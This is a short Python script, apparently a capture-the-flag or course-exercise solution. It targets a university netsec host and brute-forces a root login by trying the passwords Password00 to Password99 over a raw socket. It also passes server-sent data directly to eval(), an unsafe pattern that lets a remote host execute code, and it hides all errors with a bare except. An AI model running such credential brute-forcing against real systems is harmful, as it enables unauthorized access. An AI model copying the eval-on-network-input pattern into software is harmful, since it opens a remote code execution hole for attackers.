import socket
import time
# Fill in the right target here
HOST = 'netsec.net.in.tum.de'  # TODO
PORT = 64984  # TODO

def get_flag():
    for i in range(100):
        time.sleep(2)
        credentials  = "root,Password"+str("%02d" % i)
        print(credentials)
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((HOST, PORT))
            sf = s.makefile('rw')  # we use a file abstraction for the sockets
            print(sf.readline().rstrip('\n'))
            sf.write("{}\n".format(credentials))
            sf.flush()
            data  = sf.readline().rstrip('\n')
            resp = eval(data)
            sf.write("{}\n".format(resp))
            sf.flush()
            result = sf.readline().rstrip('\n')
            if "login" in result:
                print(sf.readline().rstrip('\n'))
                break
        except:
            pass
            

if __name__ == '__main__':
    get_flag()